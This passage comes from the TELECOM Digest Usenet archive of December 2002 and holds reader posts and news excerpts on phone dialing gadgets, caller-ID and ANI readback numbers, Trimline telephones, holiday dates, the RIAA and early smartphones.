gizmos that you could store telephone numbers in and then, holding the things speaker up to the telephone handset, have the thing ""squirt"" out the number with the press of a button or two. You can probably program in the access number under one button (or name), the 11 digit PIN (under another button or name) and numbers for your most frequently called pals. Likely dialing would be easier and you could beat SBC at their own game! Al > Is there a dialer helper gizmo that a person could carry similar to a > palm-sized address-phonebook sort of thing where a person could enter > such numbers and then hold it up to the phone mouthpiece and press one > or two buttons and have it beep the tones into the telephone for us. > Has anyone thought about a smart phone card that can do the dialing > for us if we just put in one or two numbers instead of the 11-digit > told-free number plus the 11-digit PIN? How about a ""card reader / > number storer"" that we could carry. We could have a smaller PIN with > something like this so not just ANYONE could use it, but it would be > easier for people like me to use than what they have now when you have > to punch in all your own numbers and do it faster than we used to have > to. > One thing I really LIKE about the cell phones is the phone book built > into the phone. If there were a gadget similar to the cell phone > phonebook that could be used with a landline phone from anywhere, that > would be nice. ------------------------------ From: dold@72.usenet.us.com Subject: Re: Number Read Back Service Date: Mon, 2 Dec 2002 04:59:48 UTC Organization: a2i network Harbor Diver wrote: > Today, Sat, 30 Nov 2002 12:42:48 -0800, Two Buddha read a post from > John Higdon , and determined his interest in > BURP. Where's my beer? Oh and: >> Telco readback numbers typically only serve a comparatively small area. >> The advantage of having my own is that they work from any phone, >> anywhere. > Including blocked numbers? A reminder of the difference between CID and ANI. It's easy to identify most common POTS lines in use in a home or small office by calling your own digital cell phone. This fails with any caller-ID-blocked number, and various PBX or other business schemes. That's why John has an 800 number that he's not sharing with us, that has real-time ANI feedback. The ANI should be difficult to block. I used to have a fax mailbox that supplied non-real-time ANI. The ANI was available the next day in a report. That was pretty handy, but a little slow for normal usage. ------------------------------ From: John Higdon Subject: Re: ""Grave questions of invasion of privacy"" Organization: Green Hills and Cows Date: Sun, 01 Dec 2002 14:48:00 -0800 In article , Monty Solomon wrote: > Sen. Bill Nelson, a Florida Democrat, warns that the Total > Information Awareness program threatens our basic rights -- and > questions whether Adm. Poindexter is the right man to run it. From what I understand, Poindexter was brought in for technical consulting. He will not be ""running"" anything. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: Cellular Calls to Toll-Free Directory Assistance Date: Mon, 02 Dec 2002 16:10:41 -0000 Organization: JustThe.net LLC Steven J. Sobol wrote:: > According to VZW customer service, I DO get charged if I call a > service that provides horoscopes, movie listings, or an ""adult"" line > (WTF? Do they have people calling every tollfree in existence?) Sorry about the self-followup -- that should read ""Do they have people calling every tollfree in existence to determine whether or not the call should be charged the $1.25?"" Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ Subject: Re: RIAA Orders US Navy to Surrender From: JDS Organization: Prodigy Internet http://www.prodigy.com Date: Mon, 02 Dec 2002 17:22:34 GMT Downloading music isn't necessarily a crime. Under even the most limited interpretation of ""fair use"", ownership of a physical ""official"" medium gives an unlimited perpetual license to the personal enjoyment of its contents. It can be copied to a cassette or an MP3 player or ripped onto a computer, to be used in a car, a gym, or at a desk. Furthermore, CD ownership confers the right to download portions for use at the owner's convenience. If the midshipmen were using the Navy's network to distribute music to a large number of strangers, then the RIAA might have a case. But if the midshipmen were making otherwise acceptable use of the network, the onus is on the RIAA to first show probable cause and then to prove that the downloaders didn't have a license to the material they downloaded at the time they downloaded it. The best answer, in my opinion, is to stop buying recorded music and deprive the record companies of the funds they need to pursue their self- destructive, unjustifiable, and inconsistent legal theories. Most of the stuff they're selling is garbage anyway. ------------------------------ From: John Higdon Subject: Re: RIAA Orders US Navy to Surrender Organization: Green Hills and Cows Date: Sun, 01 Dec 2002 15:07:07 -0800 In article , Ron Chapman wrote: > Perhaps they failed to notice the reception we all gave DIVX. The DiVX backers still feel that the product failed due to inadequate marketing rather then informed public rejection. > They're stupid enough to think that they can make it happen, despite the > odds against them. The key to the implementation of any rights management scheme is the removal of alternatives. Even the DiVX people realized this when they tried to choke off unlimited-play DVD by getting studios to sign exclusive marketing contracts. Unfortunately for DiVX, it didn't take long for those studios to notice that the public grabbed up the DVDs and ignored the DiVX players and discs. Seems the public would rather pay four times the price of a DiVX disc to get features and the ability to play them as they pleased. Another problem was that the pedestrian DiVX players cost more than better-equipped standard DVD players. No one told the DiVX promoters what Gillette learned early on: give away the razor. This is something the RIAA and the record companies have yet to learn: give the public what it wants and there is no limit to the money you can make. I am beginning to realize that the RIAA actually believes its own nonsense about ""piracy causing loss of sales"". How about ""not selling the product the public wants to buy"" as a possibility for stagnant sales? John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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Townson Cellular Disservice (Monty Solomon) The $19,450 Phone (Monty Solomon) California Firm to Settle Net Porn Scam (Monty Solomon) Nokia v Microsoft / The Fight for Digital Dominance (Monty Solomon) Smartphones and Handheld Computers/Computing's New Shape (Monty Solomon) Nokia: Can Transfer Calls to 3G Network (Monty Solomon) In Media Res (Monty Solomon) Sony Ericsson Sales Degenerating (Monty Solomon) 'Wi-Fi' Gives Cell Carriers Static (Monty Solomon) Study: Car Call Value Equals Crash Cost (Monty Solomon) Re: Visa, Mastercard Seen Foiling Rivals (Graeme Thomas) Re: Anyone a Trimline Guru? (Ed Ellers) Re: 011 From NANP (Dave Close) Business Line vs Residential Line (in Kentucky) (Bob Travis) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Sat, 30 Nov 2002 16:01:37 -0500 From: Monty Solomon Subject: Cellular Disservice In Person by June W. Wulff Cellular Disservice I recently attempted to understand my cellphone plan. I should have left unwell enough alone. Mea cellular culpa. I thought I had a simple question about my new plan: Why the heck did I receive a bill for more than $500? Here's how I remember the conversation with a customer-sometimes-care representative (CSCR). Me: Good morning (mistake). I am an existing customer and just received a $500 bill. I think there's a mistake and would like some help. http://www.boston.com/globe/magazine/2002/1201/inperson.htm ------------------------------ Date: Sat, 30 Nov 2002 16:08:12 -0500 From: Monty Solomon Subject: The $19,450 Phone The $19,450 Phone By MARK LEVINE Although the Beverly Hills retail outlet of a newly christened company called Vertu is situated on a stretch of Rodeo Drive whose storefronts are occupied by Chanel, Cartier, Harry Winston, Bernini, Van Cleef & Arpels and Lladro, Vertu is, by design, concealed from the sights of window-shoppers. You can reach Vertu either through a rear alley or by walking straight through the Hugo Boss showroom, past the scrutinizing gaze of that store's nattily dressed sales crew, to the back entrance of the building, which is marked by an austere gray banner bearing nothing more than the name of the company and a logo that looks like an abstract rendering of a raptor's outstretched wings. Vertu is one flight up. It is generally open to the public by appointment only, and the hushed vacancy of its 3,500 square feet is broken only by the strains of ethereal New Age music. One corner of the room displays commissioned art from the British photographer Christopher Bucklow -- ghostly silhouettes of human figures that resemble vividly tinted M.R.I.'s. The art is not for sale. It does, however, prepare the visitor for an encounter with Vertu's specialized and highly self-conscious vocabulary of shopping. Initiates refer to the store as a 'client suite,' to the service that Vertu's product delivers as 'the experience' and to the product itself -- the world's first custom-built luxury cellphone -- as 'the instrument.' http://www.nytimes.com/2002/12/01/magazine/01CELLPHONE.html ------------------------------ Date: Sun, 1 Dec 2002 00:00:05 -0500 From: Monty Solomon Subject: California Firm to Settle Net Porn Scam California Firm to Settle Net Porn Scam By REUTERS WASHINGTON (Reuters) - A California billing firm has agreed to give up $1.6 million to settle charges that it improperly billed thousands for Internet pornography, the Federal Trade Commission said on Tuesday. Privately held billing firm Integretel Inc. and its subsidiary eBillit prompted thousands of complaints in September 2000 after they placed charges of up to $4,000 on consumers' home telephone bills without their knowledge. Consumers incurred the charges after visiting a Web site run by U.K. firm Verity International Ltd. that offered pornographic movies, the FTC said. Visitors were instructed to download special software which unplugged their Internet connection and routed it through the African island nation of Madagascar at a rate of $3.99 per minute. Notification of the charge was buried in a series of 11 screens, said FTC attorney Lawrence Hodapp. Integretel placed charges averaging $127 each on consumers' long-distance phone bills, even if the person on the phone bill was not the one who downloaded the movies. http://www.nytimes.com/reuters/technology/tech-tech-fraud.html ------------------------------ Date: Sun, 1 Dec 2002 00:39:40 -0500 From: Monty Solomon Subject: Nokia v Microsoft/The Fight For Digital Dominance From The Economist print edition IT MAY look like a mobile telephone, but the Orange SPV, launched last month, is much more than that. With its colour screen, garish icons and musical ringtones, it resembles other handsets on the market. But it has one far more significant feature: the software inside, indicated by a familiar-looking four-coloured logo on its screen. For the SPV is the first ""Windows-powered smartphone""-in other words, it runs software from Microsoft. It is the software giant's attempt to stake its claim in the new market created by the convergence of mobile phones and computers. It is no less than a declaration of war. The market for smartphones is still small. But it is growing fast, as new features are added to handsets, making them ever smarter. Of the 400m mobile phones that will be sold this year, around 16m will have built-in cameras. Nokia, the world's largest handset maker, expects to sell 50m-100m colour-screen handsets next year. A new report from Analysys, an industry consultancy, predicts that by 2007 nearly 300m Europeans will be carrying handsets with colour screens, cameras, music players, support for downloadable games, and other features that are now available only in the most advanced models. Such features are already common in Japan and South Korea, and they are starting to appear in Europe and America. These advanced handsets are, in effect, pocket computers-but they have emerged from the consumer-electronics industry rather than the world of computing. By putting new technologies, such as digital photography and electronic messaging, into consumers' hands in an easy-to-use form, the new handsets seem to be succeeding where the PC has failed. Mobile phones have a far broader appeal than PCs (see chart 1). The lone exception is North America, where PC ownership exceeds mobile-phone ownership. But even there phones are catching up. http://www.economist.com/printedition/displayStory.cfm?Story_ID=1454300 ------------------------------ Date: Sun, 1 Dec 2002 00:45:49 -0500 From: Monty Solomon Subject: Smartphones and Handheld Computers/Computing's New Shape From The Economist print edition ""A COMPUTER on every desk and in every home."" This was Microsoft's mission statement for many years, and it once sounded visionary and daring. But today it seems lacking in ambition. What about a computer in every pocket? Sure enough, Microsoft has recently amended its statement: its goal is now to ""empower people through great software, anytime, any place on any device"". Being chained to your desktop is out: mobility is in. The titan of the computer industry has set its sights on an entirely new market. It is not alone. This week Dell, the world's largest PC maker, launched its first handheld computers, which run Microsoft's Pocket PC software. HP and Palm, which also make handheld computers, have just unveiled new models, with far more emphasis on wireless networking and telephony. And in an even more portentous move, the SPV, the first device to run Microsoft's special version of Windows for mobile phones, has just been launched in Europe by Orange, a mobile operator. As the computer industry tries to cram PCs into pocket-sized devices, the mobile-phone industry has arrived at the same point-but from the opposite direction. The latest phones announced by Nokia, the world's largest handset maker, include one model with a folding keyboard aimed at business users, as well as a colourful phone that plays computer games. Digital cameras, already a popular feature of mobile phones in Japan, are starting to appear elsewhere. Colour screens are spreading fast. The latest phones have as much computing power as a desktop computer did ten years ago. http://www.economist.com/printedition/displaystory.cfm?Story_ID=1454436 ------------------------------ Date: Sun, 1 Dec 2002 01:24:01 -0500 From: Monty Solomon Subject: Nokia: Can Transfer Calls to 3G Network - Nov 29, 2002 01:24 PM (AP Online) STOCKHOLM, Sweden (AP) _ Nokia Corp. said late Friday that it was able to transfer voice calls between a third-generation and second-generation mobile network, clearing a significant technological hurdle to the launch of the high-bandwidth 3G standard. - http://finance.lycos.com/home/news/story.asp?story=30315793 ------------------------------ Date: Sun, 1 Dec 2002 01:29:19 -0500 From: Monty Solomon Subject: In Media Res In Media Res By PAUL KRUGMAN This week Al Gore said the obvious. ""The media is kind of weird these days on politics,"" he told The New York Observer, ""and there are some major institutional voices that are, truthfully speaking, part and parcel of the Republican Party."" The reaction from most journalists in the ""liberal media"" was embarrassed silence. I don't quite understand why, but there are some things that you're not supposed to say, precisely because they're so clearly true. The political agenda of Fox News, to take the most important example, is hardly obscure. Roger Ailes, the network's chairman, has been advising the Bush administration. Fox's Brit Hume even claimed credit for the midterm election. ""It was because of our coverage that it happened,"" he told Don Imus. ""People watch us and take their electoral cues from us. No one should doubt the influence of Fox News in these matters."" (This remark may have been tongue in cheek, but imagine the reaction if the Democrats had won and Dan Rather, even jokingly, had later claimed credit.) But my purpose in today's column is not to bash Fox. I want to address a broader question: Will the economic interests of the media undermine objective news coverage? http://www.nytimes.com/2002/11/29/opinion/29KRUG.html ------------------------------ Date: Sun, 1 Dec 2002 01:57:24 -0500 From: Monty Solomon Subject: Sony Ericsson Sales Degenerating By Reuters Cell phone maker Sony Ericsson needs to bring out new products soon if it wants to halt a devastating sales decline, Gartner Dataquest said Tuesday as it published third-quarter handset sales statistics. The market researcher's numbers showed that Sony Ericsson, a joint venture between Swedish mobile equipment maker Ericsson and Japanese consumer electronics giant Sony sold only 5 million cell phones worldwide in the third quarter. This compares with more than 8.5 million sold by Ericsson and Sony before the merger, in the same quarter a year ago. The venture's market share dwindled to 4.8 percent from an estimated 8.8 percent. http://news.com.com/2100-1033-975326.html ------------------------------ Date: Sun, 1 Dec 2002 01:59:09 -0500 From: Monty Solomon Subject: 'Wi-Fi' Gives Cell Carriers Static Wireless firms' expensive bet looks increasingly risky By Jesse Drucker and Julia Angwin THE WALL STREET JOURNAL Nov. 29 - At first glance, software executive John Baron would seem to be a cellphone company's dream. He subscribes to the slow Internet browsing option on his cellphone, painfully pecking away on the dial pad to type in Web addresses. Lately, though, he has found a better way: When on the road, he uses Wi-Fi, the technology that gives him wireless access to the Internet on his laptop computer, at blazing speeds. ""It's brilliant,"" he says. ""The phone stuff is pretty clunky."" ONCE VIEWED as little more than a toy for tech hobbyists, Wi-Fi - short for wireless fidelity - is starting to emerge as a serious force in the Internet business. Chip maker Intel Corp. is integrating it into new microprocessors it's building for laptop computers. Philips Electronics NV is planning to build it into remote controls and stereo systems. And Dell Computer Corp. is similarly seeding its PCs with Wi-Fi. Airports, hotels and Starbucks Corp. outlets are increasingly awash in Wi-Fi radio signals. http://www.msnbc.com/news/841222.asp ------------------------------ Date: Mon, 2 Dec 2002 01:05:55 -0500 From: Monty Solomon Subject: Study: Car Call Value Equals Crash Cost - Dec 2, 2002 12:20 AM (AP Online) WASHINGTON (AP) _ Researchers say increased cell phone use has led to more crashes caused by drivers on the phone, but the value people place on being able to call from the road roughly equals the accidents' cost. Opponents of banning cell phone usage by drivers have cited studies that showed the benefit of car calls outweighed the toll from such accidents _ medical bills and property damage, for example. Harvard researchers, drawing on previous research involving cell phones and government figures for auto accidents, says in a study there is a growing public health risk from the reliance on cell phones in cars. The number of cell phone subscribers has grown from 94 million in 2000 to more than 128 million. - http://finance.lycos.com/home/news/story.asp?story=30334110 ------------------------------ Date: Sun, 1 Dec 2002 21:09:13 +0000 From: Graeme Thomas Subject: Re: Visa, Mastercard Seen Foiling Rivals In article , my_name@is.invalid writes: > I know you are probably saying why didn't the bank put a 'hold' on > the money you had been guarenteed. In some cases they do, but > usually they do not. It depends on the customer's relationship with > the bank in many cases. PAT] This 'hold' *is* supposed to happen. When the original transaction is performed, the authorization request is sent to the issuer. (Problem 1: if the transaction amount is below the merchant's floor limit, the transaction may not go online.) The transaction amount should be added to the blocked amount on the card account. Later, usually at the end of day, the financial request should be sent. (Problem 2: this may not be for the same amount as the auth request.) When the issuer receives the financial, it should deduct the amount of the transaction from the account, and deduct the amount of the corresponding auth request from the blocked amount. If this is done properly, then the bank is never left holding the bag. This, from the bank's point of view, is a Good Thing. It's slightly worse from the customer's point of view. The pay-at-pump petrol (gas) stations usually authorize a relatively large amount (often $60 or so in the UK), and then send in the financial for the smaller amount representing the fuel purchased. A delay in sending in the financial can harm your credit! Graeme Thomas ------------------------------ From: Ed Ellers Subject: Re: Anyone a Trimline Guru? Date: Mon, 2 Dec 2002 02:16:19 -0500 noel wrote: > Anyway, I know that in trimlines, there are rotary and touchtones. In > the touchtones, there are those that require a transformer to light > the buttons and those that do not. These seem to be identified as > either round button (need transformer) or square button (not needed). That's right -- the square-button handset had LED lighting. There are at least three variants of the round-button version -- the first, called the 1220, had only ten buttons (like other early Touch-Tone phones) and a clear plastic (over dark gray) plate with the letters for each digit; the second version, the 2220, was the same but with 12 buttons; and the third (don't have the number) was a 2220 with a metal plate rather than plastic. The rotary handset was called the 220A. > Now, my question concerns the early touchtones that required the > transformer. Were all the early trimline touchtones handsets > narrower than the rotary trimline handset ones? No, they were the same size and shape, and were interchangeable. A little known fact is that the Trimlines were (at least in some cases) stocked as components rather than complete sets, so the installer would draw a Touch-Tone or rotary handset, a desk (AD1) or wall (AC1) base, a handset cord and a mounting cord (for desk sets) to suit each work order -- one job might call for a 220A handset, AD1 base, 7' handset cord and 7' mounting cord, all green, while the next might be for a 2220B handset, AC1 base and 14' handset cord, all white. This was practical because the Trimline had an early form of modular cords; with conventional sets the installer might have to take the phone apart to convert to longer cords if requested, but with the Trimline this wasn't necessary (something that no doubt convinced Western Electric to go to modular cords for all phones in the 1970s). The Trimline desk base even used a special five-wire mounting cord (the fifth wire was white) that could be hooked up at the connecting block or four-prong plug to work on single- or two-party lines, again without having to take the base apart to rewire it. ------------------------------ Date: Mon, 2 Dec 2002 00:29:27 -0800 From: Dave Close Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: 2 Dec 2002 00:21:30 -0800 Organization: Compata, Costa Mesa, California Joseph writes: > Funny I can input +cc/area code/number on my mobile and all calls go > through no matter where they are :) What company? You really can dial 61 2 xxxx xxxx and reach a number in Australia, not Minnesota? Do you mean you can actually dial 011 61 2 xxxx xxxx and get Australia? Then can you dial 011 1 612 xxx xxxx and get Minnesota? I didn't think so. Dialing +1 612 xxx xxxx means an actual dial string of 011 1 612 ... It shouldn't mean you ignore the + just because the call is NANP. That would mean that you can't always dial the same sequence everywhere. Dave Close, Compata, Costa Mesa CA ""Politics is the business of getting dave@compata.com, +1 714 434 7359 power and privilege without dhclose@alumni.caltech.edu possessing merit."" - P. J. O'Rourke ------------------------------ From: e_quip@hotmail.com (Bob Travis) Subject: Business Line vs Residential Line (in Kentucky) Date: 2 Dec 2002 02:46:36 -0800 Organization: http://groups.google.com/ Here is a question, when I move soon the local phone company (Alltech) is a real stickler about making sure home businesses pay for a business listing. When I last lived in this community (ten years ago) I was really a full time employee of a company in another city in Kentucky, so I had a paystub to prove it and all I had to do was lie and say I commuted ninety miles to work every day. This time the worm has turned and I have no paystub and no way to prove I work outside the home; however, because a listed phone number did not generate any additional business for me, I am planning to go back to using an unlisted unpublished phone number. It doesn't seem fair to me that a very nonpublic business should have to pay for a business listing. I have a residential and a fax/modem line and I am sure I still use the phone less than a residential family with two teenaged sons and two teenaged daughters? I am thinking there has to be a way around this inanity without simply putting the phone in my mother-in-laws name (who will live with us). I want it in my name so I can use the expense as a tax deduction along with the money we pay for the expense of a home office. Along that line I suppose it could be argued why not have the additional deduction of paying for a business line. I am not sure if that would be a plus or not. All I do know is it would increase my monthly phone bill from around $150 to possibly $200, as it is now I will still have to pay an additional $100 per month or more just so my clients in nearby Louisville will not have to pay a long distance fee to call me. I am wondering whom I could ask about this kind of thing? ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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End of TELECOM Digest V22 #161 ****************************** >From editor@telecom-digest.org Tue Dec 3 02:57:06 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gB37v6300240; Tue, 3 Dec 2002 02:57:06 -0500 (EST) Date: Tue, 3 Dec 2002 02:57:06 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212030757.gB37v6300240@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #162 TELECOM Digest Tue, 3 Dec 2002 02:57:00 EST Volume 22 : Issue 162 Inside This Issue: Editor: Patrick A. Townson Re: Anyone a Trimline Guru? (Tom Schmidt) Re: Ravings (Dominic Richens) Re: Ravings (John David Galt) Re: Ravings (Gary Novosielski) Re: Number Read Back Service (dold@72.usenet.us.com) Printer/Fax and Answering Machine: Problems (Alain Caillet) Holidays (Joey Lindstrom) Thanksgiving Schedule (was Re: Ravings) (Gordon S. Hlavenka) Re: Globalinx/Com Tech 21 Long Distance (Dave) Re: ""Grave Questions of Invasion of Privacy"" (Peter Dubuque) Re: Number Read Back Service (tonypo1@cox.net) Re: Number Read Back Service (Seth Theriault) Re: Number Read Back Service (John Higdon) Re: Is There a Dial Helper For When We Travel? (Stanley Cline) Re: Is There a Dial Helper For When We Travel? (Babu Mengelepouti) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Reply-To: Tom Schmidt From: Tom Schmidt Subject: Re: Anyone a Trimline Guru? Date: Mon, 02 Dec 2002 14:42:26 GMT noel wrote in message news:telecom22.158.1@telecom-digest.org: > I've become interested in finding a few old trimline phones. Why? I > don't know. A mental defect i suppose. Anyway, I know that in > trimlines, there are rotary and touchtones. In the touchtones, there > are those that require a transformer to light the buttons and those > that do not. These seem to be identified as either round button (need > transformer) or square button (not need). > Now, my question concerns the early touchtones that required the > transformer. Were all the early trimline touchtones handsets narrower > than the rotary trimline handset ones? You know that the rotary > trimline had a nice curved sides to accommodate the dial. I never had > a TT trimline, but all the pictures of them that I see, they seem to > be more square and less shapely than the rotary ones. Can someone clue > me in on this? > Thanks Noel By no means am I an expert but I'll have a go. Rotary dial Trimline phones were all wider then Touchtone version. WE designed a special rotary dial but I assume it could not be made as narrow as a Touchtone pad. Early Trimline phones has an incandescent bulb powered by a 6v transformer on the second pair. Later versions used an LED powered from the phone line. /Tom ------------------------------ From: Dominic Richens Subject: Re: Ravings Date: Mon, 2 Dec 2002 09:51:23 -0500 Organization: Nortel Joey Lindstrom wrote: > Now, obviously something was wrong with the URL that Monty passed > along to us, as Monty himself noted, and that's how I managed to > stumble into page after page of demands for money. Maybe the site is keying off some cookie (or lack thereof)? I actually have one of those NYTimes accounts ... maybe it sees that cookie and accepts it, or something similar? Try clearing all your cookies and try again? > I recognize that this is off-topic, but can anyone here explain to me > why Canada and the USA recognize the SAME holiday on different days? > This year, Canadian Thanksgiving Day was Monday October 14th, whereas > USA Thanksgiving Day fell on Thursday November 28th. What's up with > that? My take on it was that in the olden days (any date prior to 1967 for me) a big feast such as Thanksgiving needed to be held outside. By the end of November my picnic table has about a dozen centemeters of ice and snow on it, so that's out. Also, I always thought the shorter growing season up here meant we needed another month of praying before winter set it :-) > [TELECOM Digest Editor's Note: > ... tons of wonderful information squirrel away (thanks) but snipped. > PAT] ------------------------------ From: John David Galt Subject: Re: Ravings Date: Mon, 02 Dec 2002 09:51:31 -0800 Organization: Diogenes the Cynic Hot-Tubbing Society Our Esteemed Editor wrote: > people's memories are too short anyway, it did not matter, so it > was changed to the fourth Monday in May each year (whatever date > that happens to be, so it can 'swing' between May 23 and May 30 > each year. Nope, Memorial Day is the last Monday in May (one of May 25-31). > They also combined Presidents Wasington and Lincoln > into one birthday, also the second Monday in February, since that > was a reasonable compromise between February 14 and February 21 > around which time both of them were born, Presidents Day is the third Monday in February (15-21). The dates it replaced were Feb. 12 (Lincoln) and 22 (Washington). > holidays as they had previously. Veterans Day (nee Armistace Day) > in November was changed from November 11 (static date but variable > day) to the second Monday in November. Columbus Day was also changed to a Monday, though only federal civil service people get that day off anyway, AFAIK. > It all happened sometime in > the middle 1970's. Congressional thinking was if the guys can slip > out of work a bit early on Friday, they'll have all night to drive > to wherever, get into a drunken orgy the rest of the night and all > day Saturday/Saturday night, spend early Sunday sobering up and be > able to drive *leisurly* -- not like drunken, orgy-crazed crazy > people Sunday afternoon and evening and get back to work on Monday > without killing several other motorists on the way. It has reduced > holiday car accidents by a large percentage. PAT] Increased enforcement may deserve part of the credit for that. Still, it's an improvement for those of us who like to use the long weekends for travel. ------------------------------ From: Gary Novosielski Subject: Re: Ravings Date: Tue, 03 Dec 2002 04:18:49 GMT [PAT] wrote: > Pope Gregory declared that henceforth the more modern Anglicized > Easter holiday would be celebrated by the church (after all, why should > the pagans get all the fun?) as a religious day, and that it would in > fact be celebrated at Mass on the first Sunday following the New Moon > in the Spring Equinox or Solstice, meaning it will always happen > between March 22 and April 15, which was about when Goddess Oeaster > would appear each year centuries before. I think you'll find that Easter falls on the first Sunday following the first *FULL* moon (not new moon) after the Spring equinox. ------------------------------ From: dold@72.usenet.us.com Subject: Re: Number Read Back Service Date: Tue, 3 Dec 2002 06:19:35 UTC Organization: a2i network jt wrote: > I could see a use -- where a phone foreign (i.e. you do not control) > to you has its number blocked in such a way as it cannot be un-blocked > by a prefix (is this possible?). If you could call out on such a > phone, you could then discover the number. > [TELECOM Digest Editor's Note: Phones that are 'hardwired' blocked, > or blocked by default (as opposed to using *67 on a case by case > basis) can be unblocked on the same case by case basis; I think *87 > is how to do it, or maybe *82. Read your local phone directory info On the switches that we used ... darn, can't even remember the manufacturer, much less the model ... One of the options was to block CID, and not allow the user to bypass it on a call-by-call basis. This was a Centrex feature offered by my CLEC. I wonder if that would still work with the Privacy Manager, as John mentions his usage. ------------------------------ Reply-To: Alain Caillet From: Alain Caillet Subject: Printer/Fax and Answering Machine: Problems Date: Mon, 2 Dec 2002 14:08:43 -0500 All-in-One (AIO) HP printer 2210 set for automatic fax answering is supposed to eavesdrop on the incoming call answered by the telephone answering machine (TAM). If it detects fax tones on the line, it takes over the call. This action shuts off the TAM. My AIO does not seems to detect fax tones. I now it monitors the line because if the incoming fax call is answered on a phone, before the TAM answers, pressing 1,2,3 on the pad will switch the AIO to fax reception (as it is meant to do) I would like to hear from someone who had similar problems and how they were solved. Is it a problem of line ? AES Newspost wrote in message news:: > In article , Jay Hennigan > wrote: > In the bridged situation, however, is it not the case that when the > answering machine ""picks up"", the drop in voltage has already occurred > as a result of the answering machine's having answered? > So, although the fax, hearing the fax tone, can start taking in > electrons and trying to process them, it has no way to tell the > answering machine to stop playing it's annoying message (which may > screw up the fax transmission?). Jay, the TAM (telephone answering machine) indeed drop the DC voltage when it connects but when a phone or the fax connect, it drops again and thia is what tells the TAm to shut off Alain ------------------------------ From: Joey Lindstrom Date: Mon, 02 Dec 2002 11:00:57 -0700 Subject: Holidays Reply-To: joey@lairdsflooring.com On Sun, 1 Dec 2002 02:14:09 -0500 (EST), editor@telecom-digest.org wrote: > shifted to the fourth Monday in May. Now it can happen anytime between > May 23 and May 31. When is your Rememberance Day? Ditto with > Veterans Day on a Monday in November. It used to be Armistace Day on > November 11, which is the date on which the First War ended in > 1918. Now it is variable, on a Monday in November. Our ""Remembrance Day"" is the same day every year: November 11th, to coincide with the Armistice. It is NOT a statutory holiday, though. (But it should be.) We share many holidays in common, but there's a few differences. Major holidays include: New Year's Day - January 1st Heritage Day - February 18th this year, think it's 3rd Monday in Feb Good Friday - variable, same as yours Victoria Day - third Monday in May (named after Queen) St. Jean-Baptiste Day (Quebec only) - 4th Monday in June Canada Day - July 1st (equivalent to Independence Day) Civic Holiday(*) - first Monday in August Labour Day - first Monday in September Thanksgiving Day - second Monday in October Remembrance Day - November 11th (NOT a statutory holiday) Christmas Day - December 25th Boxing Day - December 26th (NOT a statutory holiday) (*) Now, this is all rather general and represents a mix of ""federal"" and ""provincial"" holidays - these can all vary province to province. ""Heritage Day"", for example, is called ""Family Day"" in Alberta, whereas the (optional) civic holiday in August is called, strangely, ""Heritage Day"". Some of them are not statutory: Remembrance Day and Boxing Day, for example. Many employers DO give Remembrance Day off (or an additional day at Christmas in lieu of), but it's not mandatory. Similarly, many employers offer a 4-day weekend for Good Friday and Easter Monday: only the former is, strictly speaking, a stat holiday. Some provinces and territories do NOT observe Victoria Day (Northwest Territories, Nunavut, New Brunswick, possibly others). Nova Scotia has a half-day holiday on Christmas Eve. It's all quite involved and perplexing. For more info, a good place to visit would be: http://www.info-galaxy.com/Holiday/Holidays_in_Canada/holidays_in_canada.html Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ Date: Mon, 02 Dec 2002 13:33:04 -0600 From: Gordon S. Hlavenka Organization: Crash Electronics, Inc. Subject: Thanksgiving Schedule (was Re: Ravings) Joey Lindstrom wrote: > I recognize that this is off-topic, but can anyone here explain to me > why Canada and the USA recognize the SAME holiday on different days? > This year, Canadian Thanksgiving Day was 